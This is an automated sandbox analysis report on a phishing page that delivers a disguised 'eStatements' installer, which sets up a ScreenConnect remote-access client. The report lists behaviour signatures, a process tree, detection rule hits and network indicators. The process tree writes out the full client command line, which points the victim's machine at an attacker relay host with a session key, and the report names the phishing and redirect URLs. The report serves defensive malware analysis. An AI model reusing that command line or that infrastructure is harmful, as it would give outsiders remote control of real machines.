Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html

Overview

General Information

Sample URL:https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html
Analysis ID:1563966
Infos:

Detection

ScreenConnect Tool
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to hide user accounts
Enables network access during safeboot for specific services
Modifies security policies related information
Possible COM Object hijacking
Reads the Security eventlog
Reads the System eventlog
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for available system drives (often done to infect USB drives)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains capabilities to detect virtual machines
Contains functionality to detect virtual machines (SLDT)
Contains functionality to launch a process as a different user
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected potential crypto function
Detected suspicious crossdomain redirect
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTML page contains hidden javascript code
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file does not import any functions
PE file overlay found
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected ScreenConnect Tool

Classification

Process Tree

  • System is w10x64_ra
  • svchost.exe (PID: 6888 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • chrome.exe (PID: 7060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 6356 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1960,i,17103204900219997725,16403034962545697914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 7684 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4948 --field-trial-handle=1960,i,17103204900219997725,16403034962545697914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe (PID: 7920 cmdline: "C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe" MD5: E7D896F9AF8FB4340CBAFE162FB3C3B7)
      • msiexec.exe (PID: 7992 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\e6cb77284cf765aa\setup.msi" MD5: 9D09DC1EDA745A5F87553048E57620CF)
  • chrome.exe (PID: 3540 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • svchost.exe (PID: 5444 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • SgrmBroker.exe (PID: 4872 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)
  • svchost.exe (PID: 6136 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 6456 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • MpCmdRun.exe (PID: 6516 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)
      • conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 7208 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • msiexec.exe (PID: 8040 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)
    • msiexec.exe (PID: 8084 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 559B26D824275EAF714132D7DDAA523E C MD5: 9D09DC1EDA745A5F87553048E57620CF)
      • rundll32.exe (PID: 8132 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\MSICD79.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4902390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments MD5: 889B99C52A60DD49227C5E485A016679)
    • msiexec.exe (PID: 1468 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 910C4B9204E995E7435A3C716822A8B8 MD5: 9D09DC1EDA745A5F87553048E57620CF)
    • msiexec.exe (PID: 1428 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 299F468216E17D0E813664F4DC42E83A E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)
  • ScreenConnect.ClientService.exe (PID: 3364 cmdline: "C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=tmqw21a.zapto.org&p=8041&s=77dc3982-78be-4a22-8a61-2b1b5e23e9cc&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&i=Amazon" MD5: 361BCC2CB78C75DD6F583AF81834E447)
    • ScreenConnect.WindowsClient.exe (PID: 7304 cmdline: "C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe" "RunRole" "95df95ba-a6be-40cc-baf2-03031fdf7d6e" "User" MD5: 20AB8141D958A58AADE5E78671A719BF)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Config.Msi\4ad421.rbsJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
    C:\Windows\Installer\MSID672.tmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
      C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
        C:\Users\user\Downloads\Unconfirmed 905245.crdownloadJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
          dropped/chromecache_123JoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security

            Memory Dumps

            SourceRuleDescriptionAuthorStrings
            00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
              0000000C.00000002.1568855377.0000000005B00000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                00000014.00000002.2471414964.0000000002601000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                  0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                    0000000C.00000002.1561415417.0000000003121000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                      Click to see the 4 entries

                      Unpacked PEs

                      SourceRuleDescriptionAuthorStrings
                      20.2.ScreenConnect.WindowsClient.exe.267fa28.3.raw.unpackJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                        12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5b00000.7.raw.unpackJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                          20.0.ScreenConnect.WindowsClient.exe.2a0000.0.unpackJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                            12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5b00000.7.unpackJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                              12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.1015db8.5.raw.unpackJoeSecurity_ScreenConnectToolYara detected ScreenConnect ToolJoe Security
                                Click to see the 3 entries

                                Sigma Signatures

                                Sigma detected: CurrentVersion Autorun Keys Modification
                                Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: ScreenConnect Client (e6cb77284cf765aa) Credential Provider, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\msiexec.exe, ProcessId: 8040, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{6FF59A85-BC37-4CD4-1B99-D78CA2F0BC1A}\(Default)
                                Sigma detected: Windows Processes Suspicious Parent Directory
                                Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6888, ProcessName: svchost.exe

                                Suricata Signatures

                                ⊘No Suricata rule has matched

                                Joe Sandbox Signatures

                                Click to jump to signature section

                                Show All Signature Results
                                Source: https://electroagrotech.com.ua/wp-content/uploads/elementor/css/HTTP Parser: Base64 decoded: {"bulletin_link_id":100,"uri":"bp2:click","bulletin_id":"20220807.61905161","url":"https://www.ssa.gov/?utm_campaign=oest-workloadmanage-22&utm_content=logo&utm_medium=email&utm_source=govdelivery"}
                                Source: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.htmlHTTP Parser: No favicon
                                Source: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.htmlHTTP Parser: No favicon
                                Source: unknownHTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49719 version: TLS 1.2
                                Source: unknownHTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49726 version: TLS 1.2
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2470250350.0000000000CB2000.00000002.00000001.01000000.00000012.sdmp, ScreenConnect.Client.dll.14.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbM source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1565892092.00000000057B0000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1565892092.00000000057B0000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: \??\C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Windows.pdbdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2464110748.0000000001418000.00000004.00000020.00020000.00000000.sdmp
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdbT source: Microsoft.Deployment.WindowsInstaller.dll.16.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.14.dr
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller.Package\Microsoft.Deployment.WindowsInstaller.Package.pdb source: Microsoft.Deployment.WindowsInstaller.Package.dll.16.dr
                                Source: Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp
                                Source: Binary string: System.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1566241188.0000000005800000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, rundll32.exe, 00000010.00000003.1565793061.000000000499C000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2489302081.0000000004752000.00000002.00000001.01000000.00000010.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.Core.dll.16.dr
                                Source: Binary string: System.pdbF source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, ScreenConnect.ClientService.exe, 00000013.00000002.2471533728.0000000002122000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2470816037.0000000000CF0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2471414964.0000000002601000.00000004.00000800.00020000.00000000.sdmp
                                Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1560876773.0000000002F80000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000013.00000000.1592014322.000000000017D000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.ClientService.exe.14.dr
                                Source: Binary string: nHC:\Windows\ScreenConnect.Client.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2502939276.0000000005A9C000.00000004.00000010.00020000.00000000.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1566828907.0000000005890000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, ScreenConnect.ClientService.exe, 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.Windows.dll.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 00000010.00000003.1571064272.0000000004820000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004990000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.16.dr
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdb source: Microsoft.Deployment.WindowsInstaller.dll.16.dr
                                Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2464110748.0000000001418000.00000004.00000020.00020000.00000000.sdmp
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1571324289.0000000007026000.00000004.00000800.00020000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, 4ad421.rbs.14.dr, Unconfirmed 905245.crdownload.1.dr, MSID692.tmp.14.dr, 4ad420.msi.14.dr, MSID887.tmp.14.dr, chromecache_123.2.dr, 4ad422.msi.14.dr, MSID672.tmp.14.dr
                                Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr
                                Source: Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.14.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmp
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\ScreenConnect.InstallerActions.pdb source: ScreenConnect.InstallerActions.dll.16.dr
                                Source: Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000001361000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CB6000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1581021023.0000000007B04000.00000004.00000800.00020000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1571324289.0000000006D43000.00000004.00000800.00020000.00000000.sdmp, Unconfirmed 905245.crdownload.1.dr, 4ad420.msi.14.dr, chromecache_123.2.dr, 4ad422.msi.14.dr, MSICD79.tmp.13.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1566828907.0000000005890000.00000004.08000000.00040000.00000000.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.Windows.dll.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2470250350.0000000000CB2000.00000002.00000001.01000000.00000012.sdmp, ScreenConnect.Client.dll.14.dr
                                Source: Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.14.dr
                                Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549086429.0000000000F5D000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr
                                Source: C:\Windows\System32\msiexec.exeFile opened: z:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: x:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: v:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: t:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: r:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: p:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: n:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: l:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: j:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: h:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: f:Jump to behavior
                                Source: C:\Windows\System32\svchost.exeFile opened: d:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: b:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: y:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: w:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: u:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: s:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: q:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: o:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: m:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: k:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: i:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: g:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: e:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: c:Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile opened: a:Jump to behavior

                                Networking

                                barindex
                                Enables network access during safeboot for specific services
                                Source: C:\Windows\System32\msiexec.exeRegistry value created: NULL ServiceJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeHTTP traffic: Redirect from: silvervalleyrealestategh.com to https://electroagrotech.com.ua/wp-content/uploads/elementor/css
                                Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
                                Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
                                Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
                                Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
                                Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
                                Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
                                Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
                                Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
                                Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
                                Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
                                Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
                                Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
                                Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
                                Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
                                Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
                                Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
                                Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
                                Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
                                Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
